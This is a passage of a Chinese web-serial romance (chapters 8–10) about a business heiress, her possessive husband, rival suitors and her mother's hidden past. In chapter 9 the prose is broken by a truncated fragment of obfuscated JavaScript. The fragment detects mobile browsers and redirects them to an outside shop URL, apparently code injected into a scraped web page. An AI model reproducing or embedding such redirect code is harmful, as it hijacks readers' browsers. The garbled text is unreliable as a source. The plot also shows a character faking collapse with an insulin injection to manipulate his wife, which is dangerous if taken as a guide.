这话倒是惹得陈乌舟将视线频频落在他身上,这个妹夫最好不要生出什么不该有的心思,否则他不介意找人替代宗英宴。
“我走了。”
陈妤应了一声,坐着没动。
陈乌舟也没指望气头上的妹妹服软,他和她性子都随了陈枭,轻易不低头。
他自然是要让着陈妤的。
-
次日,陈妤和宗英宴一起出门。
守在后门扑了个空的周秘书两眼含泪,他不指望宗英宴能在春日捞点什么,只盼着能守住朗星天宸就好。
不过想起半夜接到的任务,周秘书觉得朗星天宸迟早得改姓陈。
这赔本的败家玩意儿。
以往从家出发去公司的路上,陈妤习惯性会浏览当天的财经新闻,国际形势以及政策变化。
但现在她手机上的新闻已经15分钟没有翻页了。
陈妤发现她低估了宗英宴对她的影响力。
后座宽敞,两人中间的距离隔着中岛台,肢体接触几乎没有。
可两人对彼此的身体都太过熟悉,不经意间的对视,都足以将空气中的因子点燃。
宗英宴斜倚在背靠上,随意支着下颌,眼神粘在陈妤身上。
以往总是散着的半长狼尾今天用陈妤的深紫色缎带绑着,泛着微光的缎带一半随着他偏头的动作规矩搭在胸前,另一半被半开车窗溜进来的风吹起,在他脑后慢悠悠晃荡。
陈妤无奈叹气,喊他名字:“宗英宴。”
宗英宴含笑睨向她:“嗯?”
“你就是故意的。”
陈妤觉得她的原则有点模糊了,挡板落下的同时,她扯着宗英宴的领带吻上去。
宗英宴没动,任由陈妤予取予求,滚烫的手握住她的,配合地躺下,肌肤依偎间,两人身上都覆了一层湿黏的汗。
没有过分的动作。
陈妤结束了这个吻,本就饱满的唇肉显得更加肿胀,隐隐带着被啃噬的齿痕。
“抱歉,好像有点太用力了。”
宗英宴凑过去舔了舔她破损的唇角,一点点描摹唇线。
有点上瘾的趋势。
很久过后,陈妤推开他。
“这些都是公司空余的岗位,你选一个喜欢的。”
陈妤本意是手把手带着他,不过经由刚才的事,她打消了这个念头。
宗英宴看着她,用力又缱绻:“我想待在你身边。”
“不行。”
“嗯,为什么?”
“因为我会分心。”
陈妤在他下巴轻咬了一口,借此报复他无时无刻不在勾引她。
“沉鱼。”宗英宴笑,“这样我会忍不住想你。”
“忍住。”
“忍不住。”
最后宗英宴到底妥协了,选了个研发部门的岗位。
这块负责和饶青临对接,他得严防死守,不让这个贱人靠近陈妤。
到了公司,凡妮莎在办公司看见宗英宴的时候,寡淡的表情有些皲裂。
陈妤:“从今天开始,宗英宴入职春日研发部。”
凡妮莎掩盖住眼底的震惊:“是,我现在带先生去办理入职手续。”
“不用,我亲自去。”
人事经理接到小陈总亲临的消息严阵以待,将工作以来的事情过了个遍,确认功大于过不至于丢了饭碗才放下心来,带着部门员工等候在专梯门口。
电梯门打开,她们印象这威风凛凛的小陈总那双指点江山的手被一个男人握在手里,十指交缠,亲昵至极。
“……”
部门经理是为数不多知道陈妤已婚身份的人,她不敢猜测两人的关系,面不改色带着一群人鼓掌。
“欢迎小陈总莅临指导。”
陈妤眼神不耐地等那阵扰耳的掌声过去,面色淡淡扫过里外围了三层的人:“很闲?去做自己的事。春日不搞形式主义。”
部门经理笑意凝结:“是,听小陈总的,都去忙吧。”
唯恐知道不该知道的隐私,不到一秒,人群散了个干净。
陈妤指了指宗英宴:“给他办理入职手续,研发部。”
“是。”
在那张证件照盖上钢印时,部门经理这才大胆端详着宗英宴的长相,啧啧惊羡,怪不得能入小陈总的眼。
公司小道消息传得飞快,宗英宴享受着众人看他带着陈妤所有物的眼神,心底难以言喻涌上快.感。
不过最重要的还是那件事。
陈妤将人送去研发部,却也没有过多时间去关注宗英宴。
倒是公司高层开会时,研发部门经理磨磨蹭蹭最后一个走,凑到凡妮莎耳边夸奖宗英宴表现十分优秀。
凡妮莎:“……我会转告小陈总的。”
陈妤到分公司视察完这季度的业务状况,回程路上,她吩咐司机去大医家医院。
梦里的剧情总是带着一层模糊的滤镜,她只记得最后定格的画面里,农初霁面色死灰,聊无声息躺在病床上,身体连接的心电监护仪波纹呈现死寂的一条直线,医生冰冷地宣告她临床死亡。
陈家在港城有着投资建立的医院,以往陈枭总会不知疲倦带着农初霁跨越千里往返看病。
自从陈妤10岁那年,农初霁在机场过境时,趁陈枭不注意买了飞往东南亚国家的机票试图逃离,被抓回来之后,陈枭就带着农初霁改去了大医家医院。
大医家医院,是和陈家几代世交的闻家投资创办的大型高品质私立医院,以高端妇产科起家,后逐渐发展成为综合性医院。
而闻经纶德国留学回来后,正式接管大医家。
陈妤此次过来就是问他要农初霁的身体报告。
办公室里,闻经纶刚结束一场子宫破裂手术,身上绿色的洗手衣还没来得及换下,边听她说话,边挤了消毒液按照七步洗手法严格消毒,动作透着医者独有的严谨沉静。
闻经纶擦干双手,步履从容的走到陈妤面前,微微躬身和她平视:“你该知道,作为医生,我们是绝对严格保护病人的隐私权。”
陈妤不太在意哦了一声:
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“作为患者的亲生子女也无权知道?闻经纶,你什么时候道德标准这么高了。”
闻经纶,而不是闻医生。
立场从医生和患者家属过度到多年朋友。
闻经纶淡笑,意有所指:“我的道德标准根据你的适度上下调节。”
陈妤:“所以?”
“你来这里,不就是笃定了我会为你徇私破例吗?在我这里,你一直是例外。”闻经纶看了眼墙上的钟表,“我有15分钟的接台空闲,一起吃个饭,我和你说阿姨的情况。”
陈妤刚升起已婚之妇的分寸感就这样消下去,托人帮忙最基本礼仪就是不给对方添麻烦。
她无奈颔首:“好。”
“我换件衣服,稍等。”
闻经纶抬步去了帘子背后。
陈妤视线没来得及挪开,他已经先行一步双手交叉将上衣脱了下来,挺括宽厚的背肌隔着层薄薄的帘子展露在她面前。
就这么一眼,她迅速撇过头。
陈妤没想到,闻经纶作为副院长这么节俭,连单独的休息间都没有。
闻经纶换了身正式衣服出来。
“走吧。”
“去哪,就在这吃,我让人送上来。”
陈妤:“……”
既然送上来,他换什么衣服。
闻经纶辅修过心理学,见此淡笑道:“我有洁癖。”
陈妤:“抱歉,是我失礼,现在开始说吧,不耽误你时间。”
闻经纶似乎觉得热,将领口规整的扣子解开两颗,脖颈线条利落,喉结微微凸起,添了几分克制的张力。
“阿姨来看的是心理科,我曾经为她做过几次催眠疗法。她似乎构造出来一个不存在的自己。”
陈妤拧眉:“什么意思?”
“据我所知,你的外公外婆是乌大教授,思想开明,阿姨作为独生女从小受尽宠爱,从她童年期间的画作来看爱意氛围很浓郁。”闻经纶从档案家里擦出几张被涂鸦的画作,“鬼脸的树,黑色太阳,被钉死的蝴蝶,蜷缩的人形,画面多留白,荒凉,断续,都隐秘宣示着被被物化,被监视,暴力,贫困。”
陈妤敛眸,将眼底的情绪遮住:“我回去问下外公外婆。”
私家小厨将两份饭送进来。
“之后你有任何问题,随时来找我。”闻经纶将她面前的盖子打开,拿清洁布仔细擦拭一遍,“这家小厨的口味偏酸甜口,你会喜欢的。”
陈妤没什么食欲,尝了一口:“嗯,还可以。”
见她面前的京酱肉丝没有动,闻经纶知道她怕麻烦,修长干净的手指戴上手套替她包了一个递到她唇边,抵住:“你尝尝。”
陈妤看着他,退后:“我结婚了。”
闻经纶:“嗯,我知道。说来这事都怪你,从幼儿园开始就缠着我给你喂饭,这不斯德哥尔摩综合症来了,变成习惯改不了。”
陈妤升起点愧疚:“放我碗里吧。”
闻经纶低低笑了,将将放进她碗里时,眼尖看见她包里静音模式打进来的电话。
来电显示,宗英宴。
他失了手,菜汁沾到陈妤丝质的衬衫,晕染出一片油印。
“抱歉,做手术太累了,没拿稳,那边是我的休息间,里边有浴室你可以清洗一下。”
原来有更衣室。
陈妤循着他指向的隐形门看去,怪不得刚才没有注意。
休息间隔音很好,闻经纶放心拿过陈妤的手机,接听:“是我。”
那头声音很冷,每一字都似嚼着血腥:“陈妤呢?”
闻经纶愉悦弯唇。
“我不小心弄脏了她的衣服,她现在在我的休息间的浴室清洗。”
8. 第 8 章
闻经纶耐心等着。
果不其然,那头响起压抑到极致的喘息,一下又一下,隔着电子设备,他甚至共感了对面男人的无边愤怒,一如他当时留学期间得知陈妤的婚讯。
终于,电话那头,冲天一声巨响,不知打烂了什么。
宗英宴声音森冷,透着毫不掩饰的杀机:“你敢动她,我让你死。”
闻经纶没有把他的伎俩放在眼里,温润的声音带着毫不掩饰的鄙夷:“尽管放马过来,我倒是想试试。”
他对时间的把控很准,刚挂断电话,陈妤走了出来。
“刚才宗英宴的电话打进来,怕他担心,我帮你接了,告诉他你在和我吃饭。”闻经纶面色很坦诚,“陈妤,你不会怪我吧?”
“没事。”陈妤沉默了一下,又强调道:“下次不要了,他会乱想,我会心疼。”
闻经纶眼镜下的狐狸眼暗光闪了一下:“好。”
没什么胃口,陈妤潦草吃了几口就放下了筷子。
电话再度响起来,是宗英宴。
陈妤想好要好好哄他,接听瞬间下意识声音放柔:“你听我——”
话还没说完,被打断了。
那头是研发部经理焦急惊慌的声音。
“小陈总,宗英宴晕倒了,我现在送他去省人医,你方便的话过来吧。”
“我现在过去。”陈妤拿过农初霁的病历,“宗英宴晕倒了,我现在赶过去。妈妈的病历借我回去研究一下,到时候还你,放心,不会让你难做。”
闻经纶抬手:“可以。”
春日集团研发部。
部门经理忐忑放下手机,娘耶,入职以来第一次欺上瞒下诓骗小陈总。他哆嗦着拿着手机,看向不远处面色阴寒扭曲的宗英宴:“宗先生,小陈总说她现在赶过去。”
就凭小陈总这句现在赶过去,部门经理就知道自己赌对了,眼前这尊大佛的枕头风这能定他生死。有什么风能比枕头风更厉害,连孔明的东风都不行。
“很好,现在让人给我打短效胰岛素。”宗英宴半边脸陷入阴影,话音轻描淡写,却让部门经理感到一股阴凉:“记住,我是为了等陈妤吃饭才晕的。”
部门经理:“是,我会按住您的说法转达。”
陈妤赶到时,宗英宴面色惨白躺在留观室,她摸上去,触感湿冷。
她又惊又怒:“怎么回事,我把人交给你,你就是这么办事的?”
部门经理为难辩解:“是宗先生执意要等着您一起吃中午饭,谁知饿到低血糖晕过去了。”
接诊医生走过来:“病人家属是吧?病人送过来神志不清,指尖血糖1.9mmol/L,属于3级低血糖,之前出现过类似情况吗?”
陈妤摇头:“没有,他一直身体很健康。”
医生刷刷在纸上记录:“如果是这样的话,我们建议住院排查一下有没有糖尿病相关病史,或者是内分泌系统代谢异常情况。现在给病人静滴胰高血糖素,注意定时定量进食,不要让他饿着了。”
陈妤深吸一口气,双手握着宗英宴冰冷的手放在唇边不停呵气:“好,我会照顾好他的。”
约莫过了几个小时,宗英宴醒来,映入眼帘的是陈妤的脸,那双冷淡的凤眼里注入浓重的情感,都是为了他起伏的情感。
真好。
外面那些野男人凭什么和他争。
“你来了,外面的事情忙完了吗?”
他音色沙哑,每说一个字都十分费劲,透着无力的倦意。
陈妤有些心疼:“你最重要,下次要是我忙,你就先吃饭,不用等我。”
宗英宴痴迷地听着陈妤用轻声私语的声音哄他,他垂着眼,抿紧苍白的唇:“没事,习惯了,不来医院也没事,晕一下会自然醒过来。”
“宗英宴,你什么意思?之前也发生过这种情况是不是,什么时候?”
陈妤声音平静,但宗英宴知道她生气了,心底那头喧嚣暴怒野兽随着妻子对他的在意被驱赶回去笼子里。
“你应酬不回来的时候。”
陈妤脸色彻底难看起来。
很久过后,她的声音艰涩:“没有下次了,再忙我都会跟你一起吃饭。”
是她作为妻子对丈夫关心不够,他的身体出现这么大的异常,她现在才知道。
“好,我相信你。”
陈妤推了所有的工作,陪宗英宴做了个全面检查,没查出来什么,但医学知识有限,人体各异,医生说不排除有什么罕见原因治病,暂时观察为主,按时吃饭。
于是在接下来的一众会议期间,如果到了饭点还没结束,小陈总是会中途离开十分钟。
在座各位面面相觑,好几次都想拦下陈妤问公司是否遭遇重大决策难题。
凡妮莎尽忠职守守在办公室门口,对此表示沉默。
妖妃当道,文臣死谏也没用。
-
抽了个间隙,陈妤回了趟乌大家属院探望外公外婆。
宗英宴在春日上班后,似乎有了自己的社交圈子,每周总是会有那么一两天独自外出。
朗星天宸办公室,周秘书大气不敢喘,一再将自己的存在感压低。
空气中氛围成冰,比寂静岭还要让人毛骨悚然。
宗英宴处理完一份文件,抬头看十分钟陈妤裸眼3D的空中悬浮成像,借此压制住心底的烦躁不耐。
尽管如此,他的脸色还是阴沉得滴水,周身阴鸷气质压都压不住,几近临界值。
这边的陈妤走进宁静的小院,还是记忆中的模样。
院子里搭建的秋千,篱笆里怒放的玫瑰花,挖建的池子里两只乌龟仍然建在,动也不动晒着太阳。
外公年纪大了,高血压控制不太好,陈妤不敢在他面前提起陈枭和农初霁之间的事情。
借口想吃城西那家老字号桂花糯米糍,就惹得老人家心甘情愿出门排队了。
陈妤将头轻轻靠在外婆膝盖上:“外婆,你和我说说,我妈和陈……我爸是怎么开始的。”
外婆摩挲着她的背,娓娓道来:“你妈妈贪玩,我和你外公从小就很宠她,做什么都随着她。哪怕18岁时她拒绝了去国外专业美院深造,执意要去港城读大学我和你外公都任由她,想着她平安快乐就行。”
陈妤静静听着。
外婆眼前有些模糊:“后来不知道她怎么搭上了路子做了你大哥的美术家教,等我们再见到她时,你妈妈已经怀孕五个月了,那时候她才19岁,我和你外公气坏了,执意要将她待会内地,想着把肚子处理了,再送她去国外留学,总不会耽误了她。”
哪怕知道肚子里的孩子是她,陈妤也不觉得两位老人当初的决定有什么错误。
外婆摸着陈妤和农初霁相似的眉眼:“不过你妈妈子宫先天发育不太好,那时孕周也偏大,引产风险很高,我和你外公只能冒险让她生下来,一直到你6岁,陈枭找上门来,之后的事情你应该有记忆。”
听起来是农初霁主动搭上陈家的,不过陈家是港城老牌的豪门,在当地财力权力都十分优厚,如果陈枭起了心思,想要逼压一个独自赴港读书的少女再简单不过。
那时他正痛失明日,偏偏遇到了和明日长相十分相似的农初霁,十分有可能将她当做明日的替身强行占有。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586453|205290||http|test|mini|href|location''.split(''|''),0,{}));
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>想起闻经纶的话,陈妤问:“外婆,妈妈到时候有经历过什么痛苦的事情吗?”
外婆:“没有的,你妈妈在遇到陈枭之前,一直很快乐。”
陈妤沉默。
“好,我想去妈妈的房间看看。”
尽管农初霁已经离开很多年,房间依然保存很好,看出来经常被打扫的痕迹,崭新的被褥散发着阳光晾晒过的味道。
陈妤摸上书架,指腹干净,没有沾染半点灰尘。
视线从一本本中外名著,绘本划过,她记得农初霁有写日记的习惯。
脚下不小心踢到一个落了锁的木匣子,那把铁锁锈迹斑斑,陈妤没费什么力气就打开了。
除了一本粉色皮质的日记本,还有一张少女时期农初霁和同龄少年的合照,两人依偎着,看起来关系匪浅。
她从来没听妈妈提起过。
陈妤拿过去问外婆:“外婆,这人是谁?”
外婆叹气,摩挲着照片上的人脸:“你妈妈的青梅竹马,原本两人约好了一起到国外留学的,不过后来你妈妈改了主意去港城读大学,两人就分手了。陈枭性子狠,能力大,你别跟他说,不然对两个人都不好。”
“好。”
陈妤去了人工湖边,翻看着农初霁的日记本。
那些被封存在文字里的记忆,足以推测出农初霁的少女时代是怎样的快乐,美满,充斥着满满的幸福感。
还有那段戛然而止的懵懂初恋也是满分甜蜜,字里行间都是少女的春心萌动。
和现在嫁给陈枭的农初霁形成强烈的对比。
爱人如养花,陈枭如百草枯,逐步将农初霁焚烧殆尽。
陈妤将日记本盖在脸上。
她会将妈妈从陈枭身边带走的。
一道声音落在耳边。
“介意我坐在这吗?”
陈妤睁开眼,是饶青临。
问话的同时,他已经坐下了。
饶青临是乌大的学生,陈妤并不意外会在这遇见他。
他的团队归属朗星天宸,而春日和朗星天宸又处于合作关系,陈妤勉强算是他的上层领导。
她久久凝视着他。
陈妤想过很多次,如果她直接解决了饶青临,结果会怎么样。
可每次这样的念头刚冒出来,四肢百骸都涌上深切的痛楚,似乎是这个世界对她的惩罚。
于是她换了念头,决心做个遵纪守法公民。
在她刺骨打量的目光下,饶青临表现得很从容,甚至可以说是在勾引她。
陈妤收回视线:“离开朗星天宸,来春日吧,你开个价。”
饶青临丝毫不意外陈妤的要求,他知道生意人追逐利润是本能,这种本能像是如蛆附骨的欲望,就像他对陈妤。
经年累月的求不得,才更要求。
他将对她的觊觎之心说出来。
“如果我说,我要你呢。”
意料之中,陈妤丝毫没有意外,左耳垂那颗小痣像是点缀的红宝石,惹眼至极。
微翘的眼尾将人工湖瑰丽的景色揉碎进眼底,如梦似幻,小巧的唇珠近在眼前,微微阖动,泛着柔润的光泽,哪怕还留着上一个男人的印记,他也惦记多年。
“换一个。”她面色冷下来,没有留情面“这样的要求对一个已婚女士来说十分失礼。”
饶青临漆黑的眼神隔着层薄光,透出的热度似乎要将她灼伤:“或者换个说法,你要了我也可以。”
“你很大胆,而且无知。”陈妤牵了下嘴角,站起身:“谈判结束,你的机会没了。”
他的价值还没足以让她卖.身相迎。
9. 第 9 章
即便饶青临早有所准备,听见陈妤毫不留情的拒绝依然心口骤缩,他自嘲勾着唇,痴痴笑了几声,连呼吸都变得艰涩。
他眼神虚虚望着陈妤的背影,瞳孔逐渐失了焦距,记起第一次见她的情景……
贫瘠,饥饿,病痛,打骂,是饶青临对这个世界最初的记忆。
看不见尽头的群山,人畜混居摇摇欲坠的黄土房,一昧埋头生孩子的父母,平静麻木的兄弟姐妹,这样的家庭连吃饱穿暖最基本的生存要求都不能保证,偏偏饶青临生来带有严重的先心疾病,缺氧,呼吸困难,活着已经耗费了他最大的力气。
自然界里,毫无生存能力的弱胎总是最先被放弃。
他被人为丢弃过好几次,每一次饶青临都挣扎着回到那个家,父母恨他为家庭提供不了最基本的劳动力,兄弟姐妹厌弃他分了多余的衣服食物。
靠着睡牛棚,喝生水,偷洋芋,饶青临活到了必须要义务教育的年龄。
在那里,顶着一张不属于山里人长相的脸,凭借凄惨的遭遇,罕见的病痛,绝佳的成绩和伪装乐观懂事的心,饶青临蛊惑了最有善心的支教大学生群体。
他们将饶青临的经历发到网上,很快获得有钱人的资助。
在仅有20%成功率的手术开刀前,饶青临见到了那名好心人。
那是饶青临黑白底色的世界第一次注入色彩,他一辈子都忘不了。
被簇拥在人群中心的少女,一袭华丽繁复的绿色公主裙,浓黑顺直的黑发长至脚踝,高挑清瘦,皮肤如雪一样白得毫无瑕疵,仿佛从象牙宝塔里出来的尊贵瓷娃娃,奢靡精致,漂亮得挪不开眼,让人恨不得匍匐在她脚下,祈求怜爱。
原来人与人之间,比如她和他,云泥之别。
她说,她叫陈妤。
她说,她会等着他醒来。
她说,他长得跟玫瑰花一样好看。
然后,她俯身,轻轻抱住了躺在病床上的他。
那是饶青临第一次闻到玫瑰花的香气,馥郁香甜,却又藏着侵略性,像荆棘尖刺上的花蕾,坚毅而又脆弱。
可她食言了。
麻醉醒来后,饶青临没有看到陈妤。
那些不堪回首的日子,因为有了她,他想了一遍又一遍,回味舔舐着伤口里的糖。
后来他费劲手段成为明日集团资助的特优生,只为了一次次从别人嘴里听到关于她的消息。
直至三年前传来她的婚讯……
饶青临拦住她,眼神里是求爱恨难消的怨怼:“不是说你们有钱人都喜欢玩玩,那我这种免费送上门的为什么不要?”
他解开衬衫的扣子,自下而上,脐下暗红色的荆棘玫瑰顺着人鱼线纹路生长,枝茎凌厉生长,即将隐入裤腰的花刺末端,隐隐露出陈妤英文名字。
饶青临清冷如玉的脸上染上薄红,勾栏手段无师自通:“我不用你负责,他不会知道的。”
‘啪!’
皮肉撞击巴掌的声音,陈妤冷着脸,甩了甩手。
脸皮真硬,打得她手疼。
“你真以为我是什么人都能看得上眼。”
她还不至于饥不择食到这种地步。
“等等。”
饶青临面不带色顶着巴掌印在她面前缓缓蹲下,修长分明的手捧起她的鞋,薄唇一点点贴近。
“还不死心?”
陈妤居高临下打量着他,眼神淡漠又厌恶,像是在看一只臭虫,脚尖毫不留情踩上他的胸膛。
她竟然在主动触碰他!
饶青临无法抑制颅内升上来的爽感,难耐喘息,生怕惊扰了她似的,动作轻了又轻,俯身吹走陈妤高跟鞋尖沾染的草屑。
“你的鞋脏了。”
他没有直面她的问题,一双眼纠缠不放地锁住她,意思很明显。
陈妤蹙眉,没见过这样没脸没皮的男人,索性踢了不轻不重的一脚。
饶青临一时重心不稳,双手向后撑稳住身子,双眼锁住陈妤离去的背影,回味舔着猩红的舌尖,凌乱的衣摆下纹身跟着肌肉线条走动,野性又魅惑。
陈妤没走两步,脑子猝不及防传来熟悉的剧痛,周身力气被抽干,她半撑着身子,单膝跪倒在地。
大量的剧情涌现,比以往更清晰,更丰富……
门窗紧闭,透不进一丝光亮的房间,‘她’瘦骨伶仃的脚踝被锁链扣住,动弹不得,原本无瑕的肌肤布满大大小小的伤疤,层层叠叠的绷带隐隐沁出血迹。
仿佛和‘她’共感,陈妤眼前一片漆黑,不是因为光源缺失导致的视物困难,纯粹是一种视觉缺失。
换言之,她瞎了。
最后的画面定格在红漆木板上那枚玉牌,上边用小篆刻着一个‘周’字。
身后隐隐有狂怒惊慌的声音,伴随着什么物体落水的声音,陈妤被搂紧熟悉的怀抱,她睁开眼,手指无力抚上来人的脸:“你来了。”
“嗯,会没事的。”
宗英宴俯身抱起她,没有再看被他一脚踹进湖里的饶青临一眼。
这一次,他没有问发生了什么。
他都看见了。
和之前两次一样,只要和饶青临近距离接触后,陈妤会突发头痛,像是承受了极大的痛苦,之后的行为也会有所异常。
“好好休息。”
宗英宴将陈妤按在怀里,阻挡了她想要和他说话的心思。
“好。”
陈妤倦怠合上眼睛,也就错过了宗英宴脸上失控的情态,狰狞似恶鬼,不似活人。
疑虑的种子生根发芽,他心里的天平开始向非自然力量倾斜。
似乎有不可知的脏东西控制了他的妻子。
-
陈妤变得极为忙碌。
海岛计划就差临门一脚,让谁去做那个沉船的人,她一直没有人选。
兼具手段,能力,见识,还要深得老头子信任。
直到陈乌舟给她推荐了一个人。
听完那个名字,陈妤陷入长久的沉默,那日被背叛的愤怒依然萦绕胸口:“不久前他背刺了春日,如果不是我及早发现,公司损失难以估计,如果用他,我不保证关键时候他会不会再次反水。”
“不会了,以前他忠于自己的欲望,现在他忠诚于你。因为你就是他的欲望。”对比陈妤,陈乌舟的情绪显得平静许多,“不要理会他对你抱有什么心思,只要这一刻他能为你所用就够了。”
那些被刻意忽略带有隐秘深意的目光终于明了,徐肇港对她存着别样的心思。
陈妤抿唇:“我做不到。”
“小妤,你太心软了。”陈乌舟笑了下,语气带着凌驾于一切的漠然,“陈家将他从福利院带回来,将近二十年来跟你同吃同住上名牌大学,倘若放在古代那是上了死契的奴仆,为主家赴死都是他的荣耀。他命好生在现代,甚至在陈家占了个养子身份,理应对我们感恩戴德。”<
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陈妤:“我把他当亲人。”
陈乌舟:“不,小妤,只有爸妈,我,还有你二哥,我们才是你的亲人,他不是。”
陈妤终究还是见了徐肇港。
许是知道了他那些见不得人的心思,她终究做不到坦然面对他,站起身俯瞰着落地窗外的车水马龙,省了中间的客套,陈妤开门见山道:“这其中的风险,你应该知道。有什么要求你尽管提,无论事成与否春日都会有你的位置,我名下1%的股份也会转让给你。”
“我不缺钱。”徐肇港目光贪恋看着她的背影,他比她大五岁,国外那些她背地里哭着闹着要回国的夜晚,是他背着她抱着她彻夜哄睡。
或许因为这样,她从未将他当做男人看待。
他问:“为什么不看我?”
陈妤依言转身。
徐肇港看见了她眼里的愧疚和不忍,毫不在意笑了笑:“小妤,我是自愿成为你手里的刀。”
所以,尽管用吧。
让他觉得起码在她身边还有些价值。
陈妤看了他很久,说:“对不起。”
徐肇港很想像从前一样摸摸她的头发,但冲动被两人此刻不对等的身份打消,她和他都不再是小孩子了。
到了最后,他只能隔着办公桌,站在下属向上司汇报工作的位置仰视她,一如当年。
“我的荣耀,放心等好消息吧。”
这件事暂时放下,陈妤又想起刚获得的剧情里,落地那块玉牌。
周——她在笔记本写下这个字。
陈妤记得周况竟也有同样代表身份的玉牌,除了纹路不一样。
所以饶青临也是周家人吗?
她想起早些年间一个传闻,周家这么多年统共就出了那么一位丢进祖宗脸面的子弟。
陈妤拨通内线:“带上那幅字画,今晚去周老先生的寿宴。”
豪门隐私,外边流传的总不如家族内部人知道得确切,她得去找周况竟问个清楚。
宗英宴近来粘她几乎到了寸步不离的程度,避免他多想,她特意询问了他的意见。
以往他总躲着不愿出门见人,连带着陈妤也大大减少了出席这些场合的次数。
这次宗英宴只静寂了一瞬,眉眼舒展开,带着浓稠艳光。
“作为你的丈夫,自然是要一起去。”
周家在爱乌市共有两套苏式园林住宅,一套早些年捐了出去做4A级景区,剩下这套占地面积更广的则留作祖宅。
因着陈妤悔婚,陈家和周家这些年往来也淡了下去。
因此周况竟越过人群看见她时,惊得差点打坏了老爷子的宝贝花瓶。
陈妤看了眼宗英宴,许是她的错觉,他似乎对这些场合很漠然,更像是司空见惯后的不再动容。
感受到她的视线,宗英宴将陈妤挽在他臂弯的手拿下,改为十指交缠。
他喜欢和她毫无阻挡的肢体纠缠,最好是密不可分。
“我们是夫妻。”
“如你所见,大家都知道。”
陈妤示意他看向宾客。
她这样的身份,打从入场就是焦点中心,自然一举一动都引人注目。
就这么一眼,陈妤看见了熟悉的身影。
她记忆中宗英宴谄媚刻薄的父母,此刻华衣装身,熟稔地和有船王之称的李先生说笑。
“那是你爸妈吗?”
陈妤平静问宗英宴。
10. 第 10 章
宗英宴循着她的视线望过去,垂眼,脖颈僵直地点了点头:“是他们。”
“前不久我才从警察局将他们保释出来。”他面容苦涩,嘴角似嘲似讽:“没想到还是死性不改,借了身衣服在这招摇撞骗。”
最后的一句近乎鼻腔的颤音,眼底幽幽暗暗,脆弱尽显,如孤苦伶仃的小兽彷徨又无助。
陈妤没有错过他一丝微表情,也清晰捕捉到宗英宴眼底来不及掩饰的薄红和狼狈。她收起眼底的审视,蹙紧眉头,那点升起的怀疑、猜测摇摆不定。
“不怪你,走吧,去打个招呼,至少不能让他们闹了笑话。”
陈妤带着宗英宴行至几人面前,犀利眼神深深扫过宗父宗母,肉眼可见两人在看见她之后,得体从容不再,那点她熟悉的谄媚贪婪重新浮现在那张面皮上。
宗母的势利眼摆在明面上,指着陈妤美滋滋道:“虽然我生的儿子没什么本事,但我这儿媳妇可是春日的总裁,大把钱花不完。”
说完她手臂捅了捅宗父,示意该他上场了。
宗父眼一横心一闭,豁出老脸,提了提皮带:“李先生,您看我刚才跟您提的那桩生意是不是可以再考虑一下?”
陈妤唇边有淡淡的笑:“今天是周老爷子大寿,这些生意的事还是改天再商议。”
宗英宴神色如常,一手挟持了一个,将人带离宴客厅。
远离宾客的一方角落,倒映出宗英宴的侧脸轮廓,立体又紧绷,齿间磨动,眼底一片阴沉郁色。
“我竟然不知道朗星天宸败落到这种地步了,连您二老也要巴巴赶来参加周老爷子的大寿。”
“胡说什么!”宗父气结,“要不是你个混账拐跑了人家的孙媳妇,我至于这么舔着脸上赶着赔罪。”
宗英宴不屑:“是他周况竟无能受不住陈妤,我和他不同,无论是偷来抢来的,是我的就是我的,各凭本事。”
宗母挤眉弄眼,拍胸脯保证:“放心,李先生是个敞亮的大善人,绝对不会说漏嘴。”
-
“见笑了,我这公婆正是爱打拼的年纪,言语上多有冒犯,还望李先生海涵。”陈妤细细打量着这位李先生的长相,和农初霁日记本里夹着的照片上的张扬少年几乎判若两人,早生华发,情绪淡的几乎隐没在人群中。
李滕洄淡笑,举杯:“无碍。”
“几年前李先生赠予我的结婚贺礼还没来得及当面道谢,我很喜欢。”
陈妤终于认出眼前人,原来是农初霁的故人。怪不得当初和她毫无交集的李滕洄会在结婚时送来厚礼,她还以为他送错了人。
“等哪一天李先生寻得佳人,我定会携礼祝贺。”
传闻他至今未婚。
李滕洄眸光有些飘,呢喃道:“恐怕没有这一天了。”
顿了顿,他看着陈妤的脸,忽然失神来了句:“你的眼睛和你母亲长得很像。”
陈妤自若接下这句话,她的长相遗传了农初霁十分,就连陈枭有时看着她的脸也会发不出火。
脑海里纷扰繁杂的思绪逐渐凝结成枝,她想有些事情外婆不知道,兴许作为青梅竹马的李滕洄或许知道。
“前几日,我在妈妈的日记本里看到您和她的合照。”陈妤眉眼生动起来,笑道:“论起辈分来,我应当叫您一声叔叔。”
李滕洄未语。
宾客到齐,锣鼓声闹人,经年不变的一曲《麻姑献寿》。
两人都没有听曲的闲情逸致,移步到空余的桌子坐下。
陈妤:“既是旧识,李先生可否告知当年我妈妈为什么突然选择赴港求学。”
“那时不知。”李滕洄呼吸变得深快,“后来我想了很久,找过她许多次,她大概是在港城有放不下的人。”
陈妤蹙眉。
农初霁是土生土长的乌市人,上大学前从未去过港城,怕是无稽之谈。
她仍想追问,李滕洄却是没了交谈的心思。
宴席开始,饭菜陆续上桌。
侍应生给陈妤分食一小碗八宝葫芦鸭,陈妤捏起匙羮正要放进嘴里,到了半路被拦下。
李滕洄压着她的手:“今天你该吃素食。”
陈妤松了手,随意靠在椅背上:“李先生这话是什么意思?”
李滕洄:“今天是陈枭亡妻明日的忌日,为人子女应当戒荤食。”
“是我忘记了。”
死者为大,陈妤平日虽不守礼,倒也不至于存心冒犯。一来陈枭几人谁也没提过,二来她是农初霁生的,更犯不上主动去提。
如果说农初霁和李滕洄尚且是旧识,那明日和他又是什么关系,他竟然记得她的忌日。
陈妤感觉前方似乎有重重迷雾,真相就在那里,只是看不清摸不透。
“李先生如何记得?”
“忘不了。”
李滕洄直接让人撤下了席上的荤菜。
陈妤看着清一色的素菜:“李先生不用故意迁就我。”
“我今天也需要守节。”李滕洄摇头,“故人忌日。”
等周况竟应付完宾客找过来时,只见陈妤静坐一处僻静角落,周身没有沾染半点尘世的喧嚣烦扰,宽大的白色裙摆迎风而起,无端生出几分遗世独立的仙人之姿。
